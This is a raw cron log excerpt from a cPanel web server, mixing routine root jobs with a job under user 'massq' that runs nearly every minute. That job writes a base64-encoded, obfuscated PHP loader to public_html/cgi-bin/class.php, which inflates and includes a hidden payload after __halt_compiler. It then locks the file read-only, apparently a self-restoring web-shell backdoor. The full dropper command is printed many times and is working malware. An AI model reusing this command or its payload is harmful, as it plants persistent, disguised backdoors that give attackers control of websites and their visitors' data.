Nov 16 03:10:01 server CROND[13319]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 03:10:01 server CROND[13321]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 03:10:01 server CROND[13322]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:11:01 server CROND[13468]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:12:01 server CROND[13582]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 16 03:12:01 server CROND[13583]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:13:01 server CROND[13748]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:14:01 server CROND[13843]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:15:01 server CROND[14267]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:15:01 server CROND[14268]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 03:15:01 server CROND[14269]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 03:16:01 server CROND[15071]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:17:01 server CROND[15830]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:18:01 server CROND[16286]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:19:01 server CROND[17047]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:20:01 server CROND[17920]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 03:20:01 server CROND[17921]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 16 03:20:01 server CROND[17924]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 03:20:01 server CROND[17926]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 03:20:01 server CROND[17929]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:21:01 server CROND[18578]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:22:01 server CROND[19343]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
